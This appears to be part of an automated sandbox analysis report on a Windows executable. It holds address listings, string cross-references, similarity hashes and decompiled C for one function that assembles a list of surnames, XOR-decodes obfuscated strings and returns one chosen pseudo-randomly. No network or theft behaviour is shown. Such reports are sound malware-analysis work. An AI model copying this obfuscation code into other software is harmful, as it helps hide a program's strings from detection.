0x0040fbb5
0x0040fbc0
0x0040fbc7
0x0040fbce
0x0040fbd5
0x0040fbdc
0x0040fbdd
0x0040fbe4
0x0040fbe7
0x0040fbeb
0x0040fbeb
0x0040fc08
0x0040fc16
0x0040fc2a
0x0040fc38
0x0040fc4c
0x0040fc53
0x0040fc61
0x0040fc69
0x0040fc6d
0x0040fc74
0x0040fc78
0x0040fc7f
0x0040fc8a
0x0040fc95
0x0040fca0
0x0040fcaf
0x0040fcb3
0x0040fcc2
0x0040fcc6
0x0040fcd1
0x0040fcd5
0x0040fcdc
0x0040fce7
0x0040fcf9
0x0040fd04
0x0040fd0f
0x0040fd13
0x0040fd1a
0x0040fd22
0x0040fd2a
0x0040fd32
0x0040fd3a
0x0040fd42
0x0040fd4a
0x0040fd52
0x0040fd5a
0x0040fd61
0x0040fd69
0x0040fd71
0x0040fd79
0x0040fd81
0x0040fd89
0x0040fd91
0x0040fd98
0x0040fda0
0x0040fda8
0x0040fdb0
0x0040fdb8
0x0040fdc0
0x0040fdc8
0x0040fdcf
0x0040fdd3
0x0040fdd7
0x0040fde6
0x0040fdea
0x0040fdf5
0x0040fe03
0x0040fe11
0x0040fe18
0x0040fe1f
0x0040fe2d
0x0040fe34
0x0040fe3b
0x0040fe49
0x0040fe57
0x0040fe5e
0x0040fe7a
0x0040fe81
0x0040fe88
0x0040fe9d
0x0040fea4
0x0040feab
0x0040feb2
0x0040fecb
0x0040fed2
0x0040fed9
0x0040fee0
0x0040feeb
0x0040feef
0x0040fef4
0x0040fef5
0x0040fef8
0x0040fef8
0x0040fefa
0x0040fefb
0x0040ff24

Strings

t, xrefs: 0040F9C0
s, xrefs: 0040FB74
l, xrefs: 0040F801
r, xrefs: 0040F7A2
h, xrefs: 0040FA53
d, xrefs: 0040F79A
k, xrefs: 0040F971
gibor, xrefs: 0040FE9D
b, xrefs: 0040F724
s, xrefs: 0040F557
i, xrefs: 0040F9A8
o, xrefs: 0040F60D
r, xrefs: 0040F357
s, xrefs: 0040FD79
o, xrefs: 0040FD81
w, xrefs: 0040F855
5, xrefs: 0040FA06
m, xrefs: 0040FB6C
r, xrefs: 0040F634
z, xrefs: 0040FD52
n, xrefs: 0040F90B
r, xrefs: 0040F6F4
e, xrefs: 0040F84C
g, xrefs: 0040F624
e, xrefs: 0040FD4A
n, xrefs: 0040F8E4
6, xrefs: 0040F2DF
w, xrefs: 0040F500
a, xrefs: 0040FDA0
d, xrefs: 0040FB5C
e, xrefs: 0040F847
eroon, xrefs: 0040FCD5
irdor, xrefs: 0040FE34
i, xrefs: 0040F510
c, xrefs: 0040FD98
J, xrefs: 0040F196
H, xrefs: 0040F069
i, xrefs: 0040F979
i, xrefs: 0040F72C
o, xrefs: 0040F5ED
s, xrefs: 0040F35F
e, xrefs: 0040FDB8
n, xrefs: 0040F981
r, xrefs: 0040F2A8
n, xrefs: 0040F93A
a, xrefs: 0040F942
u, xrefs: 0040F903
l, xrefs: 0040F6C4
p, xrefs: 0040F39E
n, xrefs: 0040FB45
r, xrefs: 0040FDA8
>, xrefs: 0040F2D7
lybor, xrefs: 0040FC6D
e, xrefs: 0040F34F
t, xrefs: 0040F518
n, xrefs: 0040FD89
k, xrefs: 0040F86D
r, xrefs: 0040FB2D
d, xrefs: 0040F952
l, xrefs: 0040FD42
c, xrefs: 0040F63C
e, xrefs: 0040F520
l, xrefs: 0040F865
o, xrefs: 0040F367
g, xrefs: 0040F989
#, xrefs: 0040FA1E
e, xrefs: 0040F875
a, xrefs: 0040F337
e, xrefs: 0040F92A
h, xrefs: 0040F922
r, xrefs: 0040F78A
o, xrefs: 0040F71C
h, xrefs: 0040F5E5
e, xrefs: 0040FB3D
3, xrefs: 0040F0B0
a, xrefs: 0040FB54
n, xrefs: 0040F94A
e, xrefs: 0040FD69
a, xrefs: 0040F64C
l, xrefs: 0040F842
h, xrefs: 0040F508
l, xrefs: 0040FD71
w, xrefs: 0040F998
g, xrefs: 0040F913
p, xrefs: 0040F5FD
t, xrefs: 0040F5DD
i, xrefs: 0040F644
r, xrefs: 0040F87D
e, xrefs: 0040FB35
e, xrefs: 0040F8CB
7, xrefs: 0040F65B
h, xrefs: 0040F9B8
n, xrefs: 0040F615
a, xrefs: 0040F62C
n, xrefs: 0040F36F
m, xrefs: 0040F6E4
r, xrefs: 0040FDC0
o, xrefs: 0040F298
o, xrefs: 0040F8FB
g, xrefs: 0040F9B0
n, xrefs: 0040F33F
o, xrefs: 0040F792
], xrefs: 0040F7F9
6, xrefs: 0040F663
h, xrefs: 0040F596
s, xrefs: 0040F605
i, xrefs: 0040F67B
m, xrefs: 0040F5F5
r, xrefs: 0040F932
B, xrefs: 0040F5CE
e, xrefs: 0040F3BE
z, xrefs: 0040F962
d, xrefs: 0040FA0E
r, xrefs: 0040F9A0
g, xrefs: 0040FB25
y, xrefs: 0040F8F3
a, xrefs: 0040FB64
q, xrefs: 0040F2E7
>, xrefs: 0040FA5B
e, xrefs: 0040F95A
t, xrefs: 0040FDB0
`, xrefs: 0040F6B4
herej, xrefs: 0040FC78
agy, xrefs: 0040FE18
o, xrefs: 0040F2A0
r, xrefs: 0040F714
d, xrefs: 0040F347
n, xrefs: 0040FD61
a, xrefs: 0040F85D
b, xrefs: 0040F3CE

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID:
String ID: #$3$5$6$6$7$>$>$B$H$J$]$`$a$a$a$a$a$a$a$a$agy$b$b$c$c$d$d$d$d$d$e$e$e$e$e$e$e$e$e$e$e$e$e$e$eroon$g$g$g$g$g$gibor$h$h$h$h$h$h$herej$i$i$i$i$i$i$irdor$k$k$l$l$l$l$l$l$lybor$m$m$m$n$n$n$n$n$n$n$n$n$n$n$o$o$o$o$o$o$o$o$o$p$p$q$r$r$r$r$r$r$r$r$r$r$r$r$r$s$s$s$s$s$t$t$t$t$u$w$w$w$y$z$z
API String ID: 0-226567699
Opcode ID: 0883f9a327382847df96ba74c115867b4b3241bcc2b2b312e165fab384f76fa4
Instruction ID: a3b51aa0d28d2dd44c2db244cc0dbeb66c76d7cb51cc846c6531f955b67098f3
Opcode Fuzzy Hash: 0883f9a327382847df96ba74c115867b4b3241bcc2b2b312e165fab384f76fa4
Instruction Fuzzy Hash: 9C92AF2400D7C189E332C7288458BDFBFD25BA6718F488E9ED4ED1B292C6BA0159C777

Uniqueness

Uniqueness Score: -1.00%

Function 0040F0E9, Relevance: 160.6, Strings: 128, Instructions: 587
COMMONCrypto

Download Yara Rule

C-Code - Quality: 95%

			E0040F0E9(void* __eax, char __ebx, void* __esi, intOrPtr _a4, char* _a8, signed char* _a12, char* _a16, char* _a20, intOrPtr _a24, char* _a28, intOrPtr _a32, char* _a36, intOrPtr _a40, char* _a44, intOrPtr _a48, signed char* _a52, char* _a56, intOrPtr _a60, signed char* _a64, char* _a68, char* _a72, intOrPtr _a76, char* _a80, char* _a84, signed int* _a88, intOrPtr _a92, char* _a96, intOrPtr _a100, char* _a104, char* _a108, char* _a112, intOrPtr _a116, signed char* _a120, char* _a124, char* _a128, signed char* _a132, intOrPtr _a136, signed int* _a140, char* _a144, intOrPtr _a148, char _a152, char _a153, char _a154, char _a155, char _a156, char _a157, char _a160, char _a161, char _a162, char _a163, char _a164, char _a165, char _a166, signed char _a172, signed char _a173, signed char _a174, signed char _a175, signed char _a176, signed char _a177, signed int _a180, signed int _a181, signed int _a182, signed int _a183, signed int _a184, signed int _a185, char _a186, char _a187, char _a188, char _a189, char _a190, char _a191, signed int _a192, signed int _a193, signed int _a194, signed int _a195, signed int _a196, signed int _a197, signed int _a198, signed int _a199, signed int _a200, signed int _a201, signed int _a202, signed int _a203, signed int _a204, signed int _a205, signed int _a206, char _a207, char _a208, signed char _a212, signed char _a213, signed char _a214, signed char _a215, signed char _a216, signed char _a217, char _a220, char _a228, char _a229, char _a230, char _a231, char _a232, char _a233, char _a244, char _a252, char _a253, char _a254, char _a255, char _a256, char _a257, char _a260, char _a261, char _a262, char _a263, char _a264, char _a265, char _a268, char _a269, char _a270, char _a271, char _a272, char _a273, char _a276, char _a284, char _a285, char _a286, char _a287, char _a288, char _a289, char _a292, char _a300, char _a308, char _a316, char _a324, char _a325, char _a326, char _a327, char _a328, char _a329, char _a332, char _a333, char _a334, char _a335, char _a336, char _a337, char _a340, char _a341, char _a342, char _a343, char _a344, char _a345, char _a346, char _a348, signed char _a356, signed char _a357, signed char _a358, signed char _a359, signed char _a360, signed char _a361, signed char _a362, char _a372, char _a380, char _a388, char _a389, char _a390, char _a391, char _a392, char _a393, char _a394, char _a396, signed char _a404, signed char _a405, signed char _a406, signed char _a407, signed char _a408, signed char _a409, signed char _a410, char _a416, char _a417, char _a418, char _a419, char _a420, char _a421, char _a422, char _a423, char _a424, char _a425, char _a426, char _a427, signed char _a428, signed char _a429, signed char _a430, signed char _a431, signed char _a432, signed char _a433, signed char _a434, signed char _a435, char _a440, char _a452, char _a453, char _a454, char _a455, char _a456, char _a457, char _a458, char _a459, char _a460, char _a464, char _a476, char _a477, char _a478, char _a479, char _a480, char _a481, char _a482, char _a483, char _a484, char _a485, char _a486, char _a487, char _a488, char _a489, char _a490, char _a491, char _a492, char _a493, intOrPtr _a496) {
				intOrPtr _v0;
				char* _v4;
				char* _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char _v17;
				char _v18;
				char _v19;
				char _v20;
				intOrPtr _v24;
				char _v28;
				char _v32;
				char _v33;
				void* _t486;
				void* _t493;
				char* _t501;
				void* _t504;
				void* _t513;
				intOrPtr _t515;
				signed int _t519;
				intOrPtr* _t521;
				char _t527;
				char _t532;
				char _t541;
				void* _t553;
				signed char _t560;
				signed char _t562;
				signed int _t586;
				intOrPtr _t587;
				char _t617;
				intOrPtr _t645;
				void* _t646;
				void* _t648;
				void* _t649;
				void* _t650;
				void* _t651;
				void* _t652;
				intOrPtr _t656;
				void* _t658;

				_t648 = __esi;
				_t486 = __eax;
				do {
					_t527 =  *((intOrPtr*)(_t658 + _t486 + 0xc8));
					 *((char*)(_t658 + _t486 + 0xc8)) =  *((intOrPtr*)(_t658 + _t648 + 0xc8));
					_t486 = _t486 + 1;
					 *((char*)(_t658 + _t648 + 0xc8)) = _t527;
					_t648 = _t648 - 1;
				} while (_t486 < _t648);
				_a404 = _a200 ^ 0x00000071;
				_a407 = _a203 ^ 0x000000e3;
				_a405 = _a201 ^ 0x00000012;
				_a406 = _a202 ^ 0x000000b8;
				_a410 = _a206 ^ 0x000000f0;
				_a408 = _a204 ^ 0x0000001a;
				_a409 = _a205 ^ 0x00000041;
				_a200 = 0xac;
				_a201 = 0x88;
				_a202 = 0x4a;
				_a203 = 0xc7;
				_a204 = 0xee;
				_a205 = 0x67;
				_a206 = 0xfc;
				_t493 = 0;
				_t649 = 6;
				do {
					_t532 =  *((intOrPtr*)(_t658 + _t493 + 0xc8));
					 *((char*)(_t658 + _t493 + 0xc8)) =  *((intOrPtr*)(_t658 + _t649 + 0xc8));
					_t493 = _t493 + 1;
					 *((char*)(_t658 + _t649 + 0xc8)) = _t532;
					_t649 = _t649 - 1;
				} while (_t493 < _t649);
				_a356 = _a200 ^ 0x0000008b;
				_a357 = _a201 ^ 0x0000000e;
				_a359 = _a203 ^ 0x000000b4;
				_a360 = _a204 ^ 0x00000025;
				_a358 = _a202 ^ 0x00000082;
				_a388 = 0xdb;
				_a206 = 0xdb;
				_push(7);
				_a362 = _a206 ^ 0x000000ac;
				_push( &_a388);
				_a361 = _a205 ^ 0x000000e6;
				 *0x431c89 = 0x19;
				_a332 = 0x6d;
				_a333 = 0x6f;
				_a334 = 0x6f;
				_a335 = 0x72;
				_a336 = 0x65;
				_a337 = __ebx;
				_a389 = 0x81;
				_a390 = 0xe5;
				_a391 = 0x9f;
				_a392 = 0x3e;
				_a393 = 0x36;
				_a394 = 0x71;
				_a200 = 0xc6;
				_a201 = 0xb2;
				_a202 = 0xd3;
				_a203 = 0xaa;
				_a204 = 0xc6;
				_a205 = 0xa9;
				_t501 = E0040D980( &_a200);
				_push(7);
				_push( &_a404);
				_a20 = _t501;
				_a480 = 0x61;
				_a481 = 0x6e;
				_a482 = 0x64;
				_a483 = 0x65;
				_a484 = 0x72;
				_a485 = 0x73;
				_a486 = 0x6f;
				_a487 = 0x6e;
				_a488 = __ebx;
				_a404 = 0xae;
				_a405 = 0xa8;
				_a406 = 0xa6;
				_a407 = 0xbf;
				_a408 = 0x70;
				_a409 = 0x89;
				_a410 = 0x13;
				_a192 = 0x11;
				_a193 = 0x65;
				_a194 = 0xd;
				_a195 = 0x62;
				_a196 = 0xf;
				_a197 = 0x6e;
				_a198 = 0x1d;
				_a20 = E0040D980( &_a192);
				_a192 = 0xa8;
				_a193 = 0xa2;
				_a194 = 0xaf;
				_a195 = 0xb1;
				_a196 = 0x15;
				_a197 = 0xd5;
				_a198 = 0x82;
				_a199 = 0x58;
				_push(0);
				_pop(_t504);
				_t650 = 7;
				do {
					_t541 =  *((intOrPtr*)(_t658 + _t504 + 0xd0));
					 *((char*)(_t658 + _t504 + 0xd0)) =  *((intOrPtr*)(_t658 + _t650 + 0xd0));
					_t504 = _t504 + 1;
					 *((char*)(_t658 + _t650 + 0xd0)) = _t541;
					_t650 = _t650 - 1;
				} while (_t504 < _t650);
				_a429 = _a193 ^ 0x000000e3;
				_a428 = _a192 ^ 0x00000032;
				_a430 = _a194 ^ 0x000000b6;
				_a432 = _a196 ^ 0x000000c2;
				_a431 = _a195 ^ 0x0000007e;
				_a433 = _a197 ^ 0x000000c0;
				_push(7);
				_a435 = _a199 ^ 0x000000a8;
				_push( &_a356);
				_a434 = _a198 ^ 0x000000cc;
				 *0x431c89 = 0x19;
				_a324 = 0x77;
				_a325 = 0x68;
				_a326 = 0x69;
				_a327 = 0x74;
				_a328 = 0x65;
				_a329 = __ebx;
				_a404 = 0x68;
				_a405 = 0x61;
				_a406 = 0x72;
				_a407 = 0x72;
				_a408 = 0x69;
				_a409 = 0x73;
				_a410 = __ebx;
				_a356 = 0x2a;
				_a357 = 0x9c;
				_a358 = 0xed;
				_a359 = 0x35;
				_a360 = 0x4a;
				_a361 = 0x35;
				_a362 = 0x68;
				_a184 = 0x4f;
				_a185 = 0x22;
				_a186 = 0x43;
				_a187 = 0x31;
				_a188 = 0x45;
				_a189 = 0x2c;
				_a190 = 0x42;
				_t645 = E0040D980( &_a184);
				_a452 = 0x74;
				_a453 = 0x68;
				_a454 = 0x6f;
				_a455 = 0x6d;
				_a456 = 0x70;
				_a457 = 0x73;
				_a458 = 0x6f;
				_a459 = 0x6e;
				_a460 = __ebx;
				_a340 = 0x67;
				_a341 = 0x61;
				_a342 = 0x72;
				_a343 = 0x63;
				_a344 = 0x69;
				_a345 = 0x61;
				_a346 = __ebx;
				_a476 = 0x37;
				_a477 = 0x36;
				_a478 = 0xb3;
				_a479 = 0xc1;
				_a480 = 0x69;
				_a481 = 0x80;
				_push(9);
				_push( &_a476);
				_a482 = 0xc4;
				_a483 = 0x8e;
				_a484 = 0x89;
				_a184 = 0x60;
				_a185 = 0xd;
				_a186 = 0x6c;
				_a187 = 0x1e;
				_a188 = 0x6a;
				_a189 = 3;
				_a190 = 0x6d;
				_a191 = 8;
				_a192 = 0x72;
				_t513 = E0040D980( &_a184);
				_push(6);
				_push( &_a284);
				_t656 = _t513;
				_a420 = 0x72;
				_a421 = 0x6f;
				_a422 = 0x62;
				_a423 = 0x69;
				_a424 = 0x6e;
				_a425 = 0x73;
				_a426 = 0x6f;
				_a427 = 0x6e;
				_a428 = __ebx;
				_a260 = 0x63;
				_a261 = 0x6c;
				_a262 = 0x61;
				_a263 = 0x72;
				_a264 = 0x6b;
				_a265 = __ebx;
				_a480 = 0x72;
				_a481 = 0x6f;
				_a482 = 0x64;
				_a483 = 0x72;
				_a484 = 0x69;
				_a485 = 0x67;
				_a486 = 0x75;
				_a487 = 0x65;
				_a488 = 0x7a;
				_a489 = __ebx;
				_a284 = 0xfd;
				_a285 = 0xda;
				_a286 = 0x64;
				_a287 = 0xb0;
				_a288 = 0x5d;
				_a289 = 0x6c;
				_a196 = 0xc2;
				_a197 = 0xae;
				_a198 = 0xcb;
				_a199 = 0xbc;
				_a200 = 0xd5;
				_a201 = 0xa6;
				_v8 = E0040D980( &_a196);
				_v20 = 0x6c;
				_v19 = 0x65;
				_v18 = 0x65;
				_v17 = __ebx;
				_a340 = 0x77;
				_a341 = 0x61;
				_a342 = 0x6c;
				_a343 = 0x6b;
				_a344 = 0x65;
				_a345 = 0x72;
				_a346 = __ebx;
				_a204 = 0x68;
				_a205 = 0x61;
				_a206 = 0x6c;
				_a207 = 0x6c;
				_a208 = __ebx;
				_a284 = 0x61;
				_a285 = 0x6c;
				_a286 = 0x6c;
				_a287 = 0x65;
				_push(5);
				_push( &_a212);
				_a288 = 0x6e;
				_a289 = __ebx;
				_a268 = 0x79;
				_a269 = 0x6f;
				_a270 = 0x75;
				_a271 = 0x6e;
				_a272 = 0x67;
				_a273 = __ebx;
				_a484 = 0x68;
				_a485 = 0x65;
				_a486 = 0x72;
				_a487 = 0x6e;
				_a488 = 0x61;
				_a489 = 0x6e;
				_a490 = 0x64;
				_a491 = 0x65;
				_a492 = 0x7a;
				_a493 = __ebx;
				_a196 = 0x6b;
				_a197 = 0x69;
				_a198 = 0x6e;
				_a199 = 0x67;
				_a200 = __ebx;
				_a356 = 0x77;
				_a357 = 0x72;
				_a358 = 0x69;
				_a359 = 0x67;
				_a360 = 0x68;
				_a361 = 0x74;
				_a362 = __ebx;
				_a228 = 0x6c;
				_a229 = 0x6f;
				_a230 = 0x70;
				_a231 = 0x65;
				_a232 = 0x7a;
				_a233 = __ebx;
				_a212 = 0xc7;
				_a213 = 0x35;
				_a214 = 0x64;
				_a215 = 0x14;
				_a216 = 0x23;
				_a180 = 0x60;
				_a181 = 8;
				_a182 = 0x61;
				_a183 = 0xd;
				_a184 = 0x61;
				_t515 = E0040D980( &_a180);
				_a172 = 0x68;
				_a173 = 0x3e;
				_a174 = 0xbb;
				_a175 = 0xf0;
				_a176 = 0xec;
				_a177 = 0xa1;
				_t553 = 0;
				_t651 = 5;
				do {
					_v33 =  *((intOrPtr*)(_t658 + _t553 + 0xe0));
					 *((char*)(_t658 + _t553 + 0xe0)) =  *((intOrPtr*)(_t658 + _t651 + 0xe0));
					_t553 = _t553 + 1;
					 *((char*)(_t658 + _t651 + 0xe0)) = _v33;
					_t651 = _t651 - 1;
				} while (_t553 < _t651);
				_a212 = _a172 ^ 0x000000d2;
				_a213 = _a173 ^ 0x0000008f;
				_a214 = _a174 ^ 0x0000009f;
				_a215 = _a175 ^ 0x000000cf;
				_a216 = _a176 ^ 0x0000004a;
				_t560 = 5;
				_a217 = _a177 ^ 0x00000068;
				_a252 = 0x67;
				_a253 = 0x72;
				_a254 = 0x65;
				_a255 = 0x65;
				_a256 = 0x6e;
				_a257 = __ebx;
				_a152 = 0x61;
				_a153 = 0x64;
				_a154 = 0x61;
				_a155 = 0x6d;
				_a156 = 0x73;
				_a157 = __ebx;
				_a180 = 0x7a;
				_a181 = 0x24;
				_a182 = 0x9b;
				_a183 = 6;
				_a184 = 0x77;
				_a185 = 0xe5;
				_t652 = 0;
				_a172 = 5;
				do {
					_t617 =  *((intOrPtr*)(_t658 + _t652 + 0xe8));
					 *((char*)(_t658 + _t652 + 0xe8)) =  *((intOrPtr*)(_t658 + _t560 + 0xe8));
					_t562 = _a172;
					_t652 = _t652 + 1;
					 *((char*)(_t658 + _t562 + 0xe8)) = _t617;
					_t560 = _t562 - 1;
					_v33 = _t617;
					_a172 = _t560;
				} while (_t652 < _t560);
				_a172 = _a180 ^ 0x00000087;
				_a173 = _a181 ^ 0x00000016;
				_a174 = _a182 ^ 0x0000006d;
				_a175 = _a183 ^ 0x000000fe;
				_a176 = _a184 ^ 0x00000056;
				_a177 = _a185 ^ 0x0000007a;
				_v8 =  &_a300;
				_v4 =  &_v32;
				_t380 =  &_a228; // 0x6c
				_v0 = _t380;
				_t382 =  &_a380; // 0x68
				_a4 = _t382;
				_a8 =  &_a388;
				_a12 =  &_a356;
				_a16 =  &_a308;
				_a20 =  &_a284;
				_a24 = _v20;
				_a28 =  &_a440;
				_a32 = _v12;
				_a36 =  &_a396;
				_t400 =  &_a292; // 0x65
				_a40 = _t400;
				_a44 =  &_a372;
				_a52 =  &_a428;
				_a56 =  &_a316;
				_a64 =  &_a404;
				 *0x431c89 = 0x19;
				_a416 = 0x67;
				_a417 = 0x6f;
				_a418 = 0x6e;
				_a419 = 0x7a;
				_a420 = 0x61;
				_a421 = 0x6c;
				_a422 = 0x65;
				_a423 = 0x7a;
				_a424 = __ebx;
				_a180 = 0x6e;
				_a181 = 0x65;
				_a182 = 0x6c;
				_a183 = 0x73;
				_a184 = 0x6f;
				_a185 = 0x6e;
				_a186 = __ebx;
				_a160 = 0x63;
				_a161 = 0x61;
				_a162 = 0x72;
				_a163 = 0x74;
				_a164 = 0x65;
				_a165 = 0x72;
				_a166 = __ebx;
				_a48 = _t645;
				_a60 = _t656;
				_a68 =  &_a244;
				_a72 =  &_a464;
				_a76 = _v16;
				_a80 =  &_v28;
				_a84 =  &_a332;
				_a88 =  &_a196;
				_t447 =  &_a276; // 0x61
				_a92 = _t447;
				_a96 =  &_a260;
				_t451 =  &_a476; // 0x69
				_a100 = _t451;
				_a104 =  &_a188;
				_a108 =  &_a348;
				_a116 = _t515;
				_a112 =  &_a220;
				_a120 =  &_a212;
				_a124 =  &_a252;
				_t466 =  &_a416; // 0x67
				_a128 =  &_a152;
				_a132 =  &_a172;
				_a136 = _t466;
				_a140 =  &_a180;
				_a144 =  &_a160;
				_a148 = _v24;
				_t519 = E0040C1D0( &_a180);
				_t586 = 0x28;
				_t653 =  *((intOrPtr*)(_t658 + 0x28 + _t519 % _t586 * 4));
				_t521 =  *((intOrPtr*)(_t658 + 0x28 + _t519 % _t586 * 4));
				_t646 = _t521 + 1;
				do {
					_t587 =  *_t521;
					_t521 = _t521 + 1;
				} while (_t587 != __ebx);
				return E00424873(E004028A0(_a496, _t653, _t521 - _t646), _a480);
			}

0x0040f0e9
0x0040f0e9
0x0040f0f0
0x0040f0f7
0x0040f0fe
0x0040f105
0x0040f106
0x0040f10d
0x0040f10e
0x0040f129
0x0040f13f
0x0040f14d
0x0040f15b
0x0040f171
0x0040f178
0x0040f17f
0x0040f186
0x0040f18e
0x0040f196
0x0040f19e
0x0040f1a6
0x0040f1ae
0x0040f1b6
0x0040f1be
0x0040f1c4
0x0040f1d0
0x0040f1d7
0x0040f1de
0x0040f1e5
0x0040f1e6
0x0040f1ed
0x0040f1ee
0x0040f20c
0x0040f21a
0x0040f22d
0x0040f23b
0x0040f247
0x0040f257
0x0040f25e
0x0040f265
0x0040f26e
0x0040f27a
0x0040f282
0x0040f289
0x0040f290
0x0040f298
0x0040f2a0
0x0040f2a8
0x0040f2b0
0x0040f2b8
0x0040f2bf
0x0040f2c7
0x0040f2cf
0x0040f2d7
0x0040f2df
0x0040f2e7
0x0040f2ef
0x0040f2f6
0x0040f2fe
0x0040f306
0x0040f30e
0x0040f315
0x0040f31d
0x0040f322
0x0040f32b
0x0040f333
0x0040f337
0x0040f33f
0x0040f347
0x0040f34f
0x0040f357
0x0040f35f
0x0040f367
0x0040f36f
0x0040f377
0x0040f37e
0x0040f386
0x0040f38e
0x0040f396
0x0040f39e
0x0040f3a6
0x0040f3ae
0x0040f3b6
0x0040f3be
0x0040f3c6
0x0040f3ce
0x0040f3d6
0x0040f3de
0x0040f3e6
0x0040f3f3
0x0040f3f7
0x0040f3ff
0x0040f407
0x0040f40f
0x0040f417
0x0040f41f
0x0040f427
0x0040f42f
0x0040f439
0x0040f43a
0x0040f43d
0x0040f440
0x0040f447
0x0040f44e
0x0040f455
0x0040f456
0x0040f45d
0x0040f45e
0x0040f47c
0x0040f48d
0x0040f49e
0x0040f4ae
0x0040f4c0
0x0040f4d1
0x0040f4d8
0x0040f4e3
0x0040f4ea
0x0040f4f2
0x0040f4f9
0x0040f500
0x0040f508
0x0040f510
0x0040f518
0x0040f520
0x0040f528
0x0040f52f
0x0040f537
0x0040f53f
0x0040f547
0x0040f54f
0x0040f557
0x0040f55f
0x0040f566
0x0040f56e
0x0040f576
0x0040f57e
0x0040f586
0x0040f58e
0x0040f596
0x0040f59e
0x0040f5a6
0x0040f5ae
0x0040f5b6
0x0040f5be
0x0040f5c6
0x0040f5ce
0x0040f5db
0x0040f5dd
0x0040f5e5
0x0040f5ed
0x0040f5f5
0x0040f5fd
0x0040f605
0x0040f60d
0x0040f615
0x0040f61d
0x0040f624
0x0040f62c
0x0040f634
0x0040f63c
0x0040f644
0x0040f64c
0x0040f654
0x0040f65b
0x0040f663
0x0040f66b
0x0040f673
0x0040f67b
0x0040f683
0x0040f68b
0x0040f694
0x0040f69c
0x0040f6a4
0x0040f6ac
0x0040f6b4
0x0040f6bc
0x0040f6c4
0x0040f6cc
0x0040f6d4
0x0040f6dc
0x0040f6e4
0x0040f6ec
0x0040f6f4
0x0040f6fc
0x0040f701
0x0040f70a
0x0040f713
0x0040f714
0x0040f71c
0x0040f724
0x0040f72c
0x0040f734
0x0040f73c
0x0040f744
0x0040f74c
0x0040f754
0x0040f75b
0x0040f763
0x0040f76b
0x0040f773
0x0040f77b
0x0040f783
0x0040f78a
0x0040f792
0x0040f79a
0x0040f7a2
0x0040f7aa
0x0040f7b2
0x0040f7ba
0x0040f7c2
0x0040f7ca
0x0040f7d2
0x0040f7d9
0x0040f7e1
0x0040f7e9
0x0040f7f1
0x0040f7f9
0x0040f801
0x0040f809
0x0040f811
0x0040f819
0x0040f821
0x0040f829
0x0040f831
0x0040f83e
0x0040f842
0x0040f847
0x0040f84c
0x0040f851
0x0040f855
0x0040f85d
0x0040f865
0x0040f86d
0x0040f875
0x0040f87d
0x0040f885
0x0040f88c
0x0040f894
0x0040f89c
0x0040f8a4
0x0040f8ac
0x0040f8b3
0x0040f8bb
0x0040f8c3
0x0040f8cb
0x0040f8d3
0x0040f8dc
0x0040f8e4
0x0040f8ec
0x0040f8f3
0x0040f8fb
0x0040f903
0x0040f90b
0x0040f913
0x0040f91b
0x0040f922
0x0040f92a
0x0040f932
0x0040f93a
0x0040f942
0x0040f94a
0x0040f952
0x0040f95a
0x0040f962
0x0040f96a
0x0040f971
0x0040f979
0x0040f981
0x0040f989
0x0040f991
0x0040f998
0x0040f9a0
0x0040f9a8
0x0040f9b0
0x0040f9b8
0x0040f9c0
0x0040f9c8
0x0040f9cf
0x0040f9d7
0x0040f9df
0x0040f9e7
0x0040f9ef
0x0040f9f7
0x0040f9fe
0x0040fa06
0x0040fa0e
0x0040fa16
0x0040fa1e
0x0040fa26
0x0040fa2e
0x0040fa36
0x0040fa3e
0x0040fa46
0x0040fa4e
0x0040fa53
0x0040fa5b
0x0040fa63
0x0040fa6b
0x0040fa73
0x0040fa7b
0x0040fa83
0x0040fa89
0x0040fa90
0x0040fa97
0x0040faa2
0x0040faad
0x0040faae
0x0040fab5
0x0040fab6
0x0040facb
0x0040fadf
0x0040faed
0x0040fb01
0x0040fb0f
0x0040fb19
0x0040fb1e
0x0040fb25
0x0040fb2d
0x0040fb35
0x0040fb3d
0x0040fb45
0x0040fb4d
0x0040fb54
0x0040fb5c
0x0040fb64
0x0040fb6c
0x0040fb74
0x0040fb7c
0x0040fb83
0x0040fb8b
0x0040fb93
0x0040fb9b
0x0040fba3
0x0040fbab
0x0040fbb3
0x0040fbb5
0x0040fbc0
0x0040fbc7
0x0040fbce
0x0040fbd5
0x0040fbdc
0x0040fbdd
0x0040fbe4
0x0040fbe7
0x0040fbeb
0x0040fbeb
0x0040fc08
0x0040fc16
0x0040fc2a
0x0040fc38
0x0040fc4c
0x0040fc53
0x0040fc61
0x0040fc69
0x0040fc6d
0x0040fc74
0x0040fc78
0x0040fc7f
0x0040fc8a
0x0040fc95
0x0040fca0
0x0040fcaf
0x0040fcb3
0x0040fcc2
0x0040fcc6
0x0040fcd1
0x0040fcd5
0x0040fcdc
0x0040fce7
0x0040fcf9
0x0040fd04
0x0040fd0f
0x0040fd13
0x0040fd1a
0x0040fd22
0x0040fd2a
0x0040fd32
0x0040fd3a
0x0040fd42
0x0040fd4a
0x0040fd52
0x0040fd5a
0x0040fd61
0x0040fd69
0x0040fd71
0x0040fd79
0x0040fd81
0x0040fd89
0x0040fd91
0x0040fd98
0x0040fda0
0x0040fda8
0x0040fdb0
0x0040fdb8
0x0040fdc0
0x0040fdc8
0x0040fdcf
0x0040fdd3
0x0040fdd7
0x0040fde6
0x0040fdea
0x0040fdf5
0x0040fe03
0x0040fe11
0x0040fe18
0x0040fe1f
0x0040fe2d
0x0040fe34
0x0040fe3b
0x0040fe49
0x0040fe57
0x0040fe5e
0x0040fe7a
0x0040fe81
0x0040fe88
0x0040fe9d
0x0040fea4
0x0040feab
0x0040feb2
0x0040fecb
0x0040fed2
0x0040fed9
0x0040fee0
0x0040feeb
0x0040feef
0x0040fef4
0x0040fef5
0x0040fef8
0x0040fef8
0x0040fefa
